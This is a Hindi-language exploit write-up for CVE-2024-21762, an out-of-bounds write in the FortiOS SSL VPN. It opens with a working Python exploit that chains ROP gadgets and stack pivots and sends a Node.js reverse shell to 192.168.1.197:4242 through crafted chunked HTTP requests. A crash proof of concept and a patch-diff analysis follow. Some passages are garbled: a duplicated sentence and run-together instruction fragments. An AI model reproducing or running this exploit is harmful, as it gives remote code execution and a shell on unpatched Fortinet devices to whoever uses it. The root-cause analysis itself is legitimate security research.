
Fortinet FortiOS में आउट-ऑफ-बाउंड लेखन CVE-2024-21762 भेद्यता
Fortinet FortiOS में आउट-ऑफ-बाउंड राइट CVE-2024-21762 कमजोरी
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
FortiGate ने फरवरी में एक संस्करण अपडेट जारी किया, जिसमें कई मध्यम और उच्च-जोखिम वाली कमजोरियों को ठीक किया गया। गंभीर स्तर की कमजोरियों में से एक SSL VPN में एक अनधिकृत आउट-ऑफ-बाउंड राइट कमजोरी है। चेतावनी में कहा गया है कि इस कमजोरी का वास्तविक दुनिया में शोषण हो सकता है। यह लेख दूरस्थ कोड निष्पादन प्राप्त करने के लिए इस कमजोरी का शोषण करने की प्रक्रिया के लेखक के विश्लेषण का परिचय देगा।

इस लेख में कमजोरी विश्लेषण के लिए उपयोग किया जाने वाला वातावरण FGT_VM64-v7.4.2.F-build2571 है।
मरम्मत किए गए संस्करणों (7.4.2 और 7.4.3) के बाइनरी की तुलना करने पर, विश्लेषण में पाया गया कि मरम्मत कोड sub_18F4980 (7.4.2) फ़ंक्शन में स्थित है।

इस फ़ंक्शन का विश्लेषण करने पर, यह पाना मुश्किल नहीं है कि इस फ़ंक्शन का तर्क HTTP POST अनुरोध के बॉडी डेटा को पढ़ना है। साथ ही, अनुरोध हेडर के अनुसार यह निर्धारित किया जाता है कि चंक प्रारूप में पढ़ना है या Content-Length के आधार पर पढ़ना है। नियंत्रण प्रवाह ग्राफ तुलना परिणामों के अनुसार, कोड में दो संशोधन हैं:
चंक प्रारूप को पार्स करते समय, ap_getline को कॉल करके चंक लंबाई पढ़ें और जांचें कि ap_getline का रिटर्न वैल्यू 16 से अधिक है या नहीं। यदि यह 16 से अधिक है, तो इसे अवैध चंक लंबाई माना जाता है।

चंक ट्रेलर पढ़ते समय, लिखे गए \r\n के ऑफसेट का स्रोत line_off है। line_off का मान मरम्मत से पहले *(_QWORD *)(a1 + 744) से आता है, और मरम्मत के बाद ap_getline का रिटर्न वैल्यू है।
आगे ट्रेस करने पर, *(_QWORD *)(a1 + 744) का मान पहली जांच के चंक लंबाई फील्ड की लंबाई है।

आगे ट्रेस करने पर, *(_QWORD *)(a1 + 744) का मान पहली जांच के चंक लंबाई फील्ड की लंबाई है।

साथ ही, कोड पढ़ने से पता चलता है कि जब हेक्स डिकोडिंग के बाद चंक लंबाई फील्ड का मान 0 होता है, तो चंक ट्रेलर पढ़ने के तर्क में प्रवेश होगा।
पैच का विश्लेषण करने के बाद, हम निम्नलिखित निष्कर्ष निकाल सकते हैं:
ap_getline को कॉल करने के बाद, चंक लंबाई फील्ड की लंबाई के अनुसार बफर में \r\n लिखा जाएगा।इसलिए, यदि चंक लंबाई फील्ड में कई 0 पास किए जाते हैं, और 0 की लंबाई शेष बफर लंबाई के 1/2 से अधिक है, तो \r\n का आउट-ऑफ-बाउंड राइट ट्रिगर होगा। डिबगिंग के माध्यम से, हम जान सकते हैं कि लक्ष्य बफर स्टैक पर स्थित है (फंक्शन sub_1A111E0), और रिटर्न एड्रेस ऑफसेट 0x2028 पर संग्रहीत है। यदि ऑफसेट 0x202e पर \r\n लिखा जाता है, तो जब फ़ंक्शन rip को फिर से शुरू करने के लिए निर्देश निष्पादित करने के लिए वापस आता है, तो एक अवैध पते के कारण क्रैश होगा।
क्रैश PoC:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
क्रैश दृश्य:

कमजोरी के कारण का विश्लेषण करके, यह देखा जा सकता है कि कमजोरी का उपयोग स्टैक पर दो बाइट \r\n आउट-ऑफ-बाउंड लिखने के लिए किया जा सकता है, और आउट-ऑफ-बाउंड रेंज 0x2000 के करीब है। चूंकि लिखी गई सामग्री बहुत सीमित है, इसलिए सीधे rip को हाईजैक करके RCE प्राप्त नहीं किया जा सकता है। इसलिए, आपको स्टैक पर सहेजे गए मेमोरी पॉइंटर पर ध्यान केंद्रित करने की आवश्यकता है।
जो आसानी से सोचा जा सकता है वह है rbp को हाईजैक करना और rbp के निचले बाइट को ओवरराइट करना ताकि rbp एक नियंत्रणीय मेमोरी क्षेत्र की ओर इशारा करे। जब ऊपरी स्तर का फ़ंक्शन निर्देश निष्पादित करने के लिए वापस आता है, तो rip को पूरी तरह से हाईजैक किया जा सकता है। हालांकि, सत्यापन के दौरान, यह पाया गया कि भले ही स्टैक पर rbp ओवरराइट हो जाए, rsp और rip को हाईजैक नहीं किया जा सकता है, और प्रोग्राम क्रैश भी नहीं होगा। आगे पीछे ट्रेस करने पर, हम पैरेंट फ़ंक्शन पाते हैं। यह फ़ंक्शन वापस आने पर rsp को पुनर्स्थापित करने के लिए कॉल नहीं करता है, बल्कि सीधे add rsp, 0x18 करता है, इसलिए यह अपेक्षित प्रभाव प्राप्त नहीं कर सकता है।leave retsub_1A111E0sub_1A26040 leave retadd rsp, 0x18

जैसा कि पिछले भाग में देखा गया है, फ़ंक्शन स्टैक पर पांच रजिस्टरों rbx और r12-r15 के मान सहेजता है, और फ़ंक्शन के वापस आने पर इन रजिस्टरों को पुनर्स्थापित करता है। पीछे ट्रेस करना जारी रखने पर पैरेंट फ़ंक्शन मिलता है। आप देख सकते हैं कि r13 में बिल्कुल पैरामीटर सहेजा गया है।sub_1A26040sub_1A27650a1
a1 एक संरचना पॉइंटर है। डिबगिंग के माध्यम से, हम यह भी देख सकते हैं कि स्टैक r13 पर एक हीप एड्रेस सहेजा गया है